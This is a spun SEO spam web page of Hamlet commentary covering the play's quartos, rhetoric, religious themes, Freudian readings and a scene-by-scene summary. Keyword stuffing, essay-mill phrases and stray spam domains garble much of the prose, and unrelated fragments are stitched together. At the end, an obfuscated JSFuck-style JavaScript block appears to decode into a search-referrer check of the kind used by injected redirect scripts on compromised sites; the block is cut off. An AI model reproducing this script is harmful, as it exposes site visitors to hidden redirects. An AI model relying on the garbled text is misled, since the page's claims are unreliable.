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I suspect most people just won’t want to read a three-text play None of the early texts of Hamlet, however, were arranged this way, and the play’s division into acts and scenes derives from a quarto. Modern editors generally essay hamlet by william shakespeare this traditional division, but consider it unsatisfactory; for example, after Hamlet drags Polonius’s body out of Gertrude’s bedchamber, there is an act-break [59] after which the action appears to continue uninterrupted.

Scholars immediately identified apparent deficiencies in Q1, which was instrumental in the development of the concept of a Shakespearean  » bad quarto « . The major deficiency of Q1 is in the language: New Cambridge editor Kathleen Irace has noted that « Q1’s more linear plot design is certainly easier […] to follow […] but the simplicity of the Q1 plot arrangement eliminates the alternating plot elements that correspond to Hamlet’s shifts in mood.

It is suggested by Irace that Q1 is an abridged version intended especially for travelling productions, thus the question of length may be considered as essay hamlet by william shakespeare from issues of poor textual quality.

Irace, in her introduction to Q1, wrote that « I have avoided as many other alterations as possible, because the differences Before then, he was either mad, or not; either a essay hamlet by william shakespeare, or not; with no in-betweens. Dramatic structure[ edit ] Hamlet departed from contemporary dramatic convention in several ways. For example, in Shakespeare’s day, plays were usually expected to follow the advice of Aristotle in his Poetics: In Hamlet, Shakespeare essays hamlet by william shakespeare this so that it is through the soliloquies amputeesplace.com not the action, that the audience learns Hamlet’s motives and thoughts.

The play is full of seeming discontinuities and irregularities of action, except in the « bad » quarto. At one point, as in the Gravedigger scene, [a] Hamlet seems resolved to kill Claudius: Scholars still debate whether these twists are mistakes or intentional additions to add to the play’s themes of confusion and duality. The Riverside edition constitutes 4, lines totaling 29, words, typically requiring over four hours to stage.

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Kenneth Branagh ‘s essay hamlet by william shakespearewhich runs slightly more than four hours. Language[ edit ] Hamlet’s statement that his dark clothes are the outer sign of his inner grief demonstrates strong rhetorical skill artist: Much of Hamlet’s language is courtly: This work specifically advises royal retainers to amuse their masters with inventive language. Osric and Polonius, especially, seem to respect this injunction. Claudius’s speech is rich with rhetorical figures—as is Hamlet’s and, at essays hamlet by william shakespeare, Ophelia’s—while the language of Horatio, the essays hamlet by william shakespeare, and the gravediggers is simpler.

Claudius’s high status is reinforced by using the royal first 6 steps to writing a good essay plural « we » or « us »and anaphora mixed with metaphor to resonate with Greek political speeches. He uses highly developed metaphors, stichomythiaand in nine memorable words deploys both anaphora and asyndeton: Examples are found in Ophelia’s speech at the end of the nunnery scene: One explanation may be that Hamlet was written later in Shakespeare’s life, when he was adept at matching rhetorical devices to characters and the plot.

Wright suggests that hendiadys had been used deliberately to heighten the play’s sense of duality and dislocation. She gives the example of Hamlet’s advice to Ophelia, « get thee to a nunnery », Dissertation tracking system nova southeastern is simultaneously a reference to a place of chastity and a slang term for a brothel, reflecting Hamlet’s confused feelings about female sexuality.

Hamlet interrupts himself, vocalising either disgust or agreement with himself, and embellishing his own words. He has difficulty expressing himself directly and instead blunts the thrust of his thought with wordplay.

It is not until late in the play, after his experience with the pirates, that Hamlet is able to articulate his feelings freely. In the play, the gravediggers discuss whether Ophelia’s death was a suicide and whether she merits a Christian essay hamlet by william shakespeare. Written at a amputeesplace.com of religious upheaval, and in the wake of the English Reformationthe play is alternately Catholic or piously medieval and Protestant or consciously modern.

The ghost describes himself as being in purgatoryand as dying without last rites. This and Ophelia’s burial ceremony, which is characteristically Catholic, make up most of the play’s Catholic connections. Some scholars have observed that revenge tragedies come from Catholic essays hamlet by william shakespeare like Italy and Spain, where the revenge tragedies present contradictions of motives, since according to Catholic essay hamlet by william shakespeare the duty to God and family precedes civil justice.

Hamlet’s conundrum, then, is whether to avenge his father and kill Claudius, or to leave the vengeance to God, as his religion requires.

Dialogue refers explicitly to Wittenbergwhere Hamlet, Horatio, and Rosencrantz and Guildenstern attend university, implying where Martin Luther in first proposed his 95 theses and thereby initiated the Protestant Reformation. Thomas essay about life Leufl. Hamlet is often perceived as a philosophical character, expounding ideas that are now described as relativistessay hamlet by william shakespeareand sceptical.

For example, he expresses a subjectivistic idea when he says to Rosencrantz: Hamlet reflects the contemporary scepticism promoted by the French Renaissance humanist Michel de Montaigne. Hamlet’s  » What a piece of work is a man  » seems to echo many of Montaigne’s ideas, and many scholars have discussed whether Shakespeare drew directly from Montaigne or whether both men were simply reacting similarly to the spirit of the times.

In the first half of the 20th essay hamlet by william shakespeare, when psychoanalysis was at the height of its influence, its concepts were applied to Hamlet, notably by Sigmund FreudErnest Jonesand Jacques Lacanand these studies influenced theatrical productions.

In his The Interpretation of DreamsFreud’s analysis starts from the premise that « the play is built up on Hamlet’s hesitations over fulfilling How do you end your college essay motives for these hesitations ».

A Study in Motive » [] Ernest Jones —a psychoanalyst and Freud’s biographer—developed Freud’s ideas 2007 ap world history comparative essay a series of essays that culminated in his book Hamlet and Oedipus Influenced by Jones’s psychoanalytic approach, several productions have portrayed the « closet scene », where Hamlet confronts his mother in her private quarters, in a sexual light.

Ophelia’s madness after her father’s death may also be read through the Freudian lens: Ophelia is overwhelmed by having her unfulfilled love for him so abruptly terminated and drifts into the oblivion of insanity.

Hamlet doesn’t know for sure. When Polonius’s body falls out from behind the curtain, Hamlet remarks he thought it was the king who he was just with, someplace elseand talks about how being a busybody is dangerous. He turns immediately back to his mother, who is baffled and evidently is just now realizing herself that Claudius is a murderer.

In the quarto version, the queen says something to the effect that she has just now learned of Claudius’s guilt. Perhaps some of the original text of the play has been lost from the folio version. Hamlet’s speech to his mother has less to do with the murder and how it is wrong than with her sexual misbehavior and her not mourning her loving first husband. Many of us today will see this as a sexual double-standard from Shakespeare’s own time.

Maybe this is true; in any case, I’m old enough to remember the double standard and how wrong it was. Instead, focus on the queen’s essay hamlet by william shakespeare and ingratitude, wrongs against her former husband. The ghost enters, visible to Hamlet but not to the queen.

Elizabethans believed ghosts might be visible to one person but not to another. Perhaps the queen is too morally debased to see the ghost, or perhaps Shakespeare didn’t want to clutter his story by having the ghost and the queen have it out between themselves.

As Hamlet says he expects, the ghost is there to reinforce how important it is that Hamlet take revenge. But the ghost also asks Hamlet to college writing help free to make the essay hamlet by william shakespeare choice.

The queen thinks Hamlet is crazy. Hamlet tells the queen not to dismiss what he has said about her as the result of madness, and says how ironic it is that virtue his blunt talk to his mother has to ask pardon for its bad manners. Hamlet tells his mother to confess herself to heaven and to repent, and not to have sex with the king.

He also says it has « pleased heaven God  » — in his killing of the old man — to punish Polonius for his mean-minded, foolish spying, and to punish Hamlet, who will attonery.000webhostapp.com to essay hamlet by william shakespeare the consequences of his nasty-and-stupid act. He tells the queen not to reveal that he’s feigning madness. He also indicates that he already knows the spies are essay hamlet by william shakespeare to do him mischief on the English trip, and that he has a counter-plan that will destroy them.

Exiting, he remarks that for once, Polonius doesn’t have anything to say. We never do figure out why Gertrude cannot see the ghost if there is a reason. Nor does the scene focus on her realizing that the king is a murderer. Probably Hamlet couldn’t persuade her since he still doesn’t have the evidence; she’ll only realize this at the climax when she drinks the poison.

Hamlet talks to her, as he does to others Ophelia, the spies, Horatio about not being sullied by a crooked, corrupt world. Gertrude has not shown any signs of guilt beforehand, but afterwards, especially in the scenes with Ophelia, she will speak of her guilty conscience. Now that Hamlet has killed Polonius, he has become himself a murderer and the object of Laertes’s just quest for revenge.

No reasonable person would consider Hamlet either as culpable as Claudius, or excuse him entirely. A jury today might be understanding, and even a prosecutor might say, lake okeechobee essay homicide.

Now Hamlet is all-too-human. But there’s something else. In this scene, Hamlet and his mother reaffirm their love for one another. From now on, Hamlet will no longer talk about life not being worth living.

Perhaps this is the real turning-point of the play. The queen tells the king what has happened to Polonius, and that Hamlet is insane. The king says he will need to send Hamlet off immediately, make some kind of excuse for him, and think how to protect the king’s own good name uh huh.

Line 40 is defective. It should conclude with something about « slander ». Hamlet has hidden Polonius’s body, and when the spies question him, he talks crazy-crafty but says clearly that a christmas carol essay knows they are working for the king and against him. He warns them that this is dangerous. By now the two spies do not even pretend they care about Hamlet.

The king and « two or three » of his courtiers enter. The king says he cannot arrest Hamlet for fear of riots, but that the public would accept sending him away.

  • Even in our « modern » age, if a twenty-plus-year marriage ends with the sudden death of one partner, and the survivor remarries four weeks later, I’d believe that there had probably been an adulterous affair.
  • Confederate season, « the opportunity conspiring to assist the murderer » Cl.
  • Other mourners report even more vivid experiences that they do recognize to be tricks of perception.
  • As the court gathers the next day, while King Claudius and Queen Gertrude discuss affairs of state with their elderly adviser Polonius , Hamlet looks on glumly.
  • There is a consensus that Amleth was a local prince in Jutland in the 7th century.
  • Henry VIII’s first wife had been married to Henry’s older brother, who died, but the marriage had not been consummated.
  • Literary influence of Hamlet Hamlet is one of the most quoted works in the English language, and is often included on lists of the world’s greatest literature.
  • Ophelia seems to be the passive sort, but she has enough spunk to urge him to live clean too, and not be a hypocrite.

The two spies bring Hamlet in. He talks crazy, commenting that everybody ends up dead in the end — fat essays hamlet by william shakespeare and essay hamlet by william shakespeare beggars end up both food for worms, simply different menu items. The king tells Hamlet he just go to England, and gives sealed letters to the two spies.

He tells them, « Everything is sealed and done ». It sounds as if the spies know the contents of the letters; a director who essays hamlet by william shakespeare to make this modelos de curriculum vitae 2014 venezuela can have the king show the letters to the spies first.

The spies leave with Hamlet. The king, alone, tells the audience that the letters instruct the King of England to kill Hamlet upon his arrival. Fortinbras’s army crosses the stage, and Fortinbras drops a captain off to visit the Danish court. The captain meets Hamlet, Rosencrantz, and Guildenstern.

Hamlet asks about the army, and the captain says that Norway and Poland are fighting a stupid war over a worthless piece of land. Two thousand people are going to get killed over this nonsense. Hamlet says this is the result of rich people not having enough to do, a hidden evil like a deep abscess rupturing into the blood. Alone on essay hamlet by william shakespeare, Hamlet contrasts himself to Fortinbras.

Hamlet has something worth doing that he hasn’t yet done. Fortinbras is busy doing something that isn’t worthwhile. Hamlet reaffirms his bloody intentions. You may be asked to essay hamlet by william shakespeare on this passage. You’ll need to decide for yourself exactly what it essay hamlet by william shakespeare.

If you’ve made it this far, you’re up to the challenge. A courtier tells the queen and Horatio that Ophelia is semi-coherent, talking about her dead father and that the world is full of deceptions « There’s tricks in the world! Since the scene in her bedroom, the queen has felt guilty.

She speaks of her own « sick soul » and of « sin’s true nature »; she also worries if she can keep her own composure with her own bad conscinece « So full of artless jealousy is guilt, it spills itself in fearing to be spilt. Ophelia comes in, singing a song about a dead man, then one about premarital essay und diskurs afghanistan and Laertes on his way back, angry.

The king is, as usual, a hypocrite; everybody knows how the trouble really started. Just then, Laertes at the head of a mob breaks down the castle door. The mob wants Claudius deposed and Laertes crowned king. Laertes runs in, armed, and faces off with Claudius. He is doing exactly what Hamlet considered doing, and didn’t do.

Hamlet Summary

Gertrude risks her own life wellplayerdual.000webhostapp.com wrestling Laertes down.

Claudius tells her to let him go, because God protects kings uh huh. Laertes yells, and Claudius asks for a chance to explain. Crazy Ophelia comes in, preposterously arrayed with wild flowers, and making half-sense. Laertes notes that her madness talks more clearly than ordinary words « This nothing’s more than matter. Ophelia regrets there have been no essays hamlet by william shakespeare faithfulness and friendship available since her father died.

Later, Laertes will ask violets to grow from Ophelia’s body. Horatio gets a essay hamlet by william shakespeare from Hamlet. Supposedly he boarded case study energy audit report pirate essay hamlet by william shakespeare during a sea scuffle.

The pirates are bringing him back home, knowing they’ll get some kind of favor in the future. Rosencrantz and Guildenstern are on their way to England and Hamlet essay hamlet by william shakespeare have more to say about them.

The king explains to Laertes that he couldn’t arrest or prosecute Hamlet because the queen loves him and he’s essay hamlet by william shakespeare with the common people. He’s about to tell Laertes that his revenge is imminent « Don’t lose any sleep over that » — l. Just then a letter comes from Hamlet announcing he’s back in Denmark. The king already has « Plan B ». The king says it’s such a good plan that essay hamlet by william shakespeare his mother won’t be suspicious. The plot that Shakespeare inherited has some credibility problems, and Shakespeare does not seem to care.

He will have Laertes have a fencing match with Hamlet. Laertes will « accidentally » choose a weapon that is actually sharp, with which he’ll kill Hamlet. Hamlet is « most generous, And free from all contriving », so he won’t check the swords.

Laertes mentions that he has some blade poison. He must have bought it to use on Claudius who he thinks is the murderer of Polonius. Even a scratch will kill. Uh huh, nobody will be suspicious? Now the king decides that for backup in case Laertes is unable to stab Hamlet and make it look like an accidenthe will have a poisoned drink ready, and Hamlet will want some when he’s thirsty.

Before you decide that you cannot suspend your disbelief, think about what’s really going on. The king knows that the court knows that he’s already a murderer, and that they don’t care.

So nobody will do anything even when the king and Laertes kill artei.fi suicide — just as when a crazy person walks in front of a bus nowadays.

Thesis Statements and Important Quotes from Hamlet by Shakespeare

I think Claudius gives it out as a suicide just to inflame Laertes. We don’t know who saw Ophelia drown, or why nobody tried to save her. Perhaps an observer from the castle battlements, or perhaps her last acts were reconstructed from the scene, or perhaps we are asking the wrong question. Two men are digging Ophelia’s grave. One asks whether someone who tries to go to heaven by the short route suicide can be given Christian essay hamlet by william shakespeare.

In Shakespeare’s time as Hamlet already mentioned in I. Suicides would ordinarily be buried in unconsecrated ground without a Christian service. Sometimes they’d be buried at a crossroads as a warning to everybody not to do the sameand sometimes with a stake through the heart to prevent them from rising as undead, of course.

The men joke about how politics has influenced the coroner’s decision to allow Christian burial. They parody lawyer talk « Maybe the water jumped on her, instead of her jumping into the water. Or maybe she drowned pay someone to do essay in her own defense.

Hamlet and Horatio walk in. essay writing on my favourite personality allama iqbal gravedigger sings a contemporary essay hamlet by william shakespeare about having been in love and making love, and thinking it was great, but now being dead and in a grave as if he’d never lived at all.

The marks « -a- » signify his grunting as he shovels.

William Shakespeare

He tosses up a skull. Hamlet incognito asks who is to be buried, the men essay hamlet by william shakespeare wisecracks about essay hamlet by william shakespeare and Hamlet’s insanity.

The gravedigger says he has been working at this trade since the very day that Hamlet was born. Thus the gravedigger comes to stand for Hamlet’s own mortality. Hamlet asks about dead bodies, makes a four-way pun on the word « fine », and jokes about « chop-fallen » in the essay hamlet by william shakespeare it means frowning, but the skull has lost its « chop », i. Loggits is the game we call horseshoes.

Even the jester couldn’t make someone laugh about the fact that — makeup or no — death and its ugliness are inevitable. The gravedigger tells him which skull belonged to the court jester, Yorick. Hamlet also remembers Yorick’s jokes and his kindness. But there is more. In the medieval and renaissance world, it was the Crystal eastman essay privilege of the court jester to tell the truth.

He could do this without essay hamlet by william shakespeare of reprisals. In this most famous scene of all, Yorick tells the truth without saying a word. We all end up in the same place, dead. The funeral party comes in, and Hamlet recognizes « maimed rites », i. Hamlet and Horatio hide. Laertes protests the essay hamlet by william shakespeare that the service is limited. The pastor’s reply is organized religion at its worst.

Laertes says the priest is the one who will go to hell. He jumps into the grave, picks up the corpse and embraces it, and launches into a bombastic speech. Hamlet comes out and jumps into the grave too.

He calls assignments help « Hamlet the Dane », claiming the essay hamlet by william shakespeare title. In Shakespeare’s era, a monarch was called by the name of his country for short.

Shakespeare’s heroes all develop as people, and many dissertation on school leadership myself included essay hamlet by william shakespeare Hamlet’s attitude toward women as evidenced in the first half of the play.

But in striking contrast to the « nunnery » scene, he now proclaims boldly, « I loved Ophelia. Separated, Hamlet parodies Laertes’s bombastic speech.

Horatio takes Hamlet off and the king says to Laertes, « Good. Now we have an excuse for a duel essay hamlet by william shakespeare away. Hamlet is explaining to Horatio about how he substituted his own essay hamlet by william shakespeare to the King of England, ordering the execution of the spies. He used flowerly language, though he hated doing it — he even mentions that he was trained to write like that, and worked hard to forget how. Again, this is the theme of sincerity.

Hamlet already had a pretty good idea of what the English trip was all about, so his having a copy of the royal seal, and some wax and paper, is no surprise as he already indicated at the end of the bedroom scene.

Horatio who seems more inclined to essay hamlet by william shakespeare in God than do the other characters agrees: There seems to be some mysterious design behind life that makes things work out and essays hamlet by william shakespeare life its meaning.

Unfortunately for Hamlet and other decent people, it doesn’t always bring about altogether happy endings. Still, it’s grand being part of things. One can find similar ideas in Montaigne, Proverbs Do you think this is true? Horatio remarks that it’ll only be a short time before the king finds out about the execution of the spies. The king has bet heavily on Hamlet, probably to divert suspicion.

Don’t try writing essay website figure out the terms of the bet — the two accounts contradict each other. Hamlet admits foreboding to Horatio, and both suspect foul play is imminent.

But Hamlet decides to go forward anyway. God knows every sparrow that falls. Mark Twain « The Mysterious Stranger » pointed out that the sparrow still falls. Hamlet is about to die, too, although God is watching.

Hamlet notes that death is essay hamlet by william shakespeare to amputeesplace.com what death is, so why be afraid to die young?

Is « Let be » the answer to « To be or not to be? The duel is set up. In Q1 and Q2, they bring foils long slender swords and daggers; in Q2 and F foils and gauntlets metal gloves. Hamlet puns on « foil », a metal backing that made gemstones shine brighter; he will make Laertes look personal statement for research program more the champion fencer.

Thanks to Hamlet, « foil » has come to mean any character who contrasts with the hero, showing up what kind of person the hero is.

Hamlet apologizes to Laertes, and blames his distracted mental state — he wasn’t himself. There is a parallel in Romans As the king expected, Hamlet is not at all suspicious about the swords, and merely asks whether they’re all the same length.

In the first round, Hamlet tags Laertes who is academic essay service about the poison and perhaps doesn’t have his heart really in it. The king drops the poison in the cup, pretending he thinks it’s a pearl. Okay, this is silly.

Burns, Green grow the rushes, 0, « On man she tried her prentice han’, And then she made the lasses, Oh!

William Shakespeare

Stowe, quoted by Steevens, speaks of two men especially who were famed for their « extemporal witt, » viz. Thomas Wilson and Richard Tarleton; of them, among them sc. We freely cope your courteous pains withal »; W. Something too much mens rea and actus reus essay how things go.

Some essays hamlet by william shakespeare understand idle to mean ‘mad,’ ‘crazy’: No, nor mine now, a reference, says Johnson, to the proverb, « A man’s words are his own no longer than he keeps them unspoken.

Capitol, here, as in Julius Caesar, Shakespeare mistakenly places the murder of Caesar in the Capitol, though in reality it took place in or near Pompey’s theatre. Steevens says that to lie at the feet of a mistress, during any dramatic representation, seems to have been a common act of gallantry. Others take sables to mean a dress of much magnificence; while others again suppose the word should be sabell, i.

Possibly the meaning is, if my essay hamlet by william shakespeare has been remembered so long a time as two months, the devil may well wear his usual mourning, for I too will show my regard for his memory by wearing a dress of much the same colour as his, « my inky cloak, » as he calls it, i.

Imagery of Disease in Hamlet In Hamlet Shakespeare weaves the dominant motif of disease into every scene to illustrate the corrupt state of Denmark and Hamlet’s all-consuming pessimism. Images of ulcers, pleurisy, full body pustules, apoplexy, and madness parallel the sins of drunkenness, espionage, war, adultery, and murder, to reinforce the central idea that Denmark is dying. So how do you pronounce Jaquesanyway?

Here is our comprehensive list of every Shakespearean character and the play in which he or she appears. Included is our spelled pronunciation guide, essential for all drama students and teachers.

Themes in The Tempest « The great and striking peculiarity of this play is that its action lies wholly in the ideal world.

Analyzing the Theme of Religion in William Shakespeare’s « Hamlet »

It differs, therefore, from every other work of Shakespeare in the essay hamlet by william shakespeare of its mediation. Our poet, in most of his dramas, portrays the real world, and exhibits man as acting Argumentative essay topics on culture clear conscious motives, and not from supernatural influences.

England’s celebration of their patron Saint George is on 23 April, accepts it. A few of his plays were printed in his essay hamlet by william shakespeare, sometimes plagiarised and often changed at the whim of the printer, though they appeared more voluminously after his death. Whether Shakespeare took these from Belleforest directly or from the hypothetical Ur-Hamlet remains unclear.

Included is a paraphrase of the poem in contemporary English.

TMwDA

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,122,50,48,113,55,56,51,53,72,84,77,76,60,34,112,47,119,63,38,95,43,85,67,44,58,37,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[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